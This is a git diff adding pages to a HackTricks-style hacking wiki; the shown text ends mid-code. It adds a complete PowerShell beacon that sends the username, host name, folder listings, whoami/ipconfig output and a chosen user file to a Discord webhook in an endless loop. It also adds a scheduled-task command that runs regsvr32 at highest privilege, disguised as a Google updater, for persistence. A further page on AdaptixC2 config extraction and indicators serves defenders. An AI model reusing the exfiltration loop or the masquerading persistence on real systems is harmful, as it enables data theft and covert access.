[https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - -{{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index b15de6115..270595f87 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -112,6 +112,93 @@ if __name__ == "__main__": ### ``` +## Webhooks (Discord/Slack/Teams) for C2 & Data Exfiltration + +Webhooks are write-only HTTPS endpoints that accept JSON and optional file parts. They’re commonly allowed to trusted SaaS domains and require no OAuth/API keys, making them useful for low-friction beaconing and exfiltration. + +Key ideas: +- Endpoint: Discord uses https://discord.com/api/webhooks// +- POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file. +- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirm delivery. + +PowerShell PoC (Discord): + +```powershell +# 1) Configure webhook and optional target file +$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE" +$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin" + +# 2) Reuse a single HttpClient +$client = [System.Net.Http.HttpClient]::new() + +function Send-DiscordText { + param([string]$Text) + $payload = @{ content = $Text } | ConvertTo-Json -Compress + $jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json") + $mp = New-Object System.Net.Http.MultipartFormDataContent + $mp.Add($jsonContent, "payload_json") + $resp = $client.PostAsync($webhook, $mp).Result + Write-Host "[Discord] text -> $($resp.StatusCode)" +} + +function Send-DiscordFile { + param([string]$Path, [string]$Name) + if (-not (Test-Path $Path)) { return } + $bytes = [System.IO.File]::ReadAllBytes($Path) + $fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes) + $fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream") + $json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress + $jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json") + $mp = New-Object System.Net.Http.MultipartFormDataContent + $mp.Add($jsonContent, "payload_json") + $mp.Add($fileContent, "file", $Name) + $resp = $client.PostAsync($webhook, $mp).Result + Write-Host "[Discord] file $Name -> $($resp.StatusCode)" +} + +# 3) Beacon/recon/exfil loop +$ctr = 0 +while ($true) { + $ctr++ + # Beacon + $beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```" + Send-DiscordText -Text $beacon + + # Every 2nd: quick folder listing + if ($ctr % 2 -eq 0) { + $dirs = @("Documents","Desktop","Downloads","Pictures") + $acc = foreach ($d in $dirs) { + $p = Join-Path $env:USERPROFILE $d + $items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name + if ($items) { "`n$d:`n - " + ($items -join "`n - ") } + } + Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```") + } + + # Every 3rd: targeted exfil + if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) } + + # Every 4th: basic recon + if ($ctr % 4 -eq 0) { + $who = whoami + $ip = ipconfig | Out-String + $tmp = Join-Path $env:TEMP "recon.txt" + "whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8 + Send-DiscordFile -Path $tmp -Name "recon.txt" + } + + Start-Sleep -Seconds 20 +} +``` + +Notes: +- Similar patterns apply to other collaboration platforms (Slack/Teams) using their incoming webhooks; adjust URL and JSON schema accordingly. +- For DFIR of Discord Desktop cache artifacts and webhook/API recovery, see: + +{{#ref}} +../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md +{{#endref}} + ## FTP ### FTP server (python) @@ -364,7 +451,10 @@ Then copy-paste the text into the windows-shell and a file called nc.exe will be - [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil) -{{#include ../banners/hacktricks-training.md}} - +## References +- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/) +- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook) +- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser) +{{#include ../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 0d6ffb3a1..91098839a 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -267,7 +267,27 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll **Detected by defender** -#### Regsvr32 -sct +#### Regsvr32 – arbitrary DLL export with /i argument (gatekeeping & persistence) + +Besides loading remote scriptlets (`scrobj.dll`), `regsvr32.exe` will load a local DLL and invoke its `DllRegisterServer`/`DllUnregisterServer` exports. Custom loaders frequently abuse this to execute arbitrary code while blending with a signed LOLBin. Two tradecraft notes seen in the wild: + +- Gatekeeping argument: the DLL exits unless a specific switch is passed via `/i:`, e.g. `/i:--type=renderer` to mimic Chromium renderer children. This reduces accidental execution and frustrates sandboxes. +- Persistence: schedule `regsvr32` to run the DLL with silent + high privileges and the required `/i` argument, masquerading as an updater task: + ```powershell + Register-ScheduledTask \ + -Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\.dll\"") \ + -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \ + -TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \ + -TaskPath '\\GoogleSystem\\GoogleUpdater' \ + -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \ + -RunLevel Highest + ``` + +See also: ClickFix clipboard‑to‑PowerShell variant that stages a JS loader and later persists with `regsvr32`. +{{#ref}} +../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md +{{#endref}} + [**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) @@ -555,6 +575,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive - [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/adaptixc2-config-extraction-and-ttps.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/adaptixc2-config-extraction-and-ttps.md new file mode 100644 index 000000000..7a6712824 --- /dev/null +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/adaptixc2-config-extraction-and-ttps.md @@ -0,0 +1,251 @@ +# AdaptixC2 Configuration Extraction and TTPs + +{{#include ../../banners/hacktricks-training.md}} + +AdaptixC2 is a modular, open‑source post‑exploitation/C2 framework with Windows x86/x64 beacons (EXE/DLL/service EXE/raw shellcode) and BOF support. This page documents: +- How its RC4‑packed configuration is embedded and how to extract it from beacons +- Network/profile indicators for HTTP/SMB/TCP listeners +- Common loader and persistence TTPs observed in the wild, with links to relevant Windows technique pages + +## Beacon profiles and fields + +AdaptixC2 supports three primary beacon types: +- BEACON_HTTP: web C2 with configurable servers/ports/SSL, method, URI, headers, user‑agent, and a custom parameter name +- BEACON_SMB: named‑pipe peer‑to‑peer C2 (intranet) +- BEACON_TCP: direct sockets, optionally with a prepended marker to obfuscate protocol start + +Typical profile fields observed in HTTP beacon configs (after decryption): +- agent_type (u32) +- use_ssl (bool) +- servers_count (u32), servers (array of strings), ports (array of u32) +- http_method, uri, parameter, user_agent, http_headers (length‑prefixed strings) +- ans_pre_size (u32), ans_size (u32) – used to parse response sizes +- kill_date (u32), working_time (u32) +- sleep_delay (u32), jitter_delay (u32) +- listener_type (u32) +- download_chunk_size (u32) + +Example default HTTP profile (from a beacon build): + +```json +{ + "agent_type": 3192652105, + "use_ssl": true, + "servers_count": 1, + "servers": ["172.16.196.1"], + "ports": [4443], + "http_method": "POST", + "uri": "/uri.php", + "parameter": "X-Beacon-Id", + "user_agent": "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0", + "http_headers": "\r\n", + "ans_pre_size": 26, + "ans_size": 47, + "kill_date": 0, + "working_time": 0, + "sleep_delay": 2, + "jitter_delay": 0, + "listener_type": 0, + "download_chunk_size": 102400 +} +``` + +Observed malicious HTTP profile (real attack): + +```json +{ + "agent_type": 3192652105, + "use_ssl": true, + "servers_count": 1, + "servers": ["tech-system[.]online"], + "ports": [443], + "http_method": "POST", + "uri": "/endpoint/api", + "parameter": "X-App-Id", + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36", + "http_headers": "\r\n", + "ans_pre_size": 26, + "ans_size": 47, + "kill_date": 0, + "working_time": 0, + "sleep_delay": 4, + "jitter_delay": 0, + "listener_type": 0, + "download_chunk_size": 102400 +} +``` + +## Encrypted configuration packing and load path + +When the operator clicks Create in the builder, AdaptixC2 embeds the encrypted profile as a tail blob in the beacon. The format is: +- 4 bytes: configuration size (uint32, little‑endian) +- N bytes: RC4‑encrypted configuration data +- 16 bytes: RC4 key + +The beacon loader copies the 16‑byte key from the end and RC4‑decrypts the N‑byte block in place: + +```c +ULONG profileSize = packer->Unpack32(); +this->encrypt_key = (PBYTE) MemAllocLocal(16); +memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16); +DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16); +``` + +Practical implications: +- The entire structure often lives inside the PE .rdata section. +- Extraction is deterministic: read size, read ciphertext of that size, read the 16‑byte key placed immediately after, then RC4‑decrypt. + +## Configuration extraction workflow (defenders) + +Write an extractor that mimics the beacon logic: +1) Locate the blob inside the PE (commonly .rdata). A pragmatic approach is to scan .rdata for a plausible [size|ciphertext|16‑byte key] layout and attempt RC4. +2) Read first 4 bytes → size (uint32 LE). +3) Read next N=size bytes → ciphertext. +4) Read final 16 bytes → RC4 key. +5) RC4‑decrypt the ciphertext. Then parse the plain profile as: + - u32/boolean scalars as noted above + - length‑prefixed strings (u32 length followed by bytes; trailing NUL can be present) + - arrays: servers_count followed by that many [string, u32 port] pairs + +Minimal Python proof‑of‑concept (standalone, no external deps) that works with a pre‑extracted blob: + +```python +import struct +from typing import List, Tuple + +def rc4(key: bytes, data: bytes) -> bytes: + S = list(range(256)) + j = 0 + for i in range(256): + j = (j + S[i] + key[i % len(key)]) & 0xFF + S[i], S[j] = S[j], S[i] + i = j = 0 + out = bytearray() + for b in data: + i = (i + 1) & 0xFF + j = (j + S[i]) & 0xFF + S[i], S[j] = S[j], S[i] + K = S[(S[i] + S[j]) & 0xFF] + out.append(b ^ K) + return bytes(out) + +class P: + def __init__(self, buf: bytes): + self.b = buf; self.o = 0 + def u32(self) -> int: + v = struct.unpack_from(' int: + v = self.b[self.o]; self.o += 1; return v + def s(self) -> str: + L = self.u32(); s = self.b[self.o:self.o+L]; self.o += L + return s[:-1].decode('utf-8','replace') if L and s[-1] == 0 else s.decode('utf-8','replace') + +def parse_http_cfg(plain: bytes) -> dict: + p = P(plain) + cfg = {} + cfg['agent_type'] = p.u32() + cfg['use_ssl'] = bool(p.u8()) + n = p.u32() + cfg['servers'] = [] + cfg['ports'] = [] + for _ in range(n): + cfg['servers'].append(p.s()) + cfg['ports'].append(p.u32()) + cfg['http_method'] = p.s() + cfg['uri'] = p.s() + cfg['parameter'] = p.s() + cfg['user_agent'] = p.s() + cfg['http_headers'] = p.s() + cfg['ans_pre_size'] = p.u32() + cfg['ans_size'] = p.u32() + cfg['ans_pre_size'] + cfg['kill_date'] = p.u32() + cfg['working_time'] = p.u32() + cfg['sleep_delay'] = p.u32() + cfg['jitter_delay'] = p.u32() + cfg['listener_type'] = 0 + cfg['download_chunk_size'] = 0x19000 + return cfg + +# Usage (when you have [size|ciphertext|key] bytes): +# blob = open('blob.bin','rb').read() +# size = struct.unpack_from('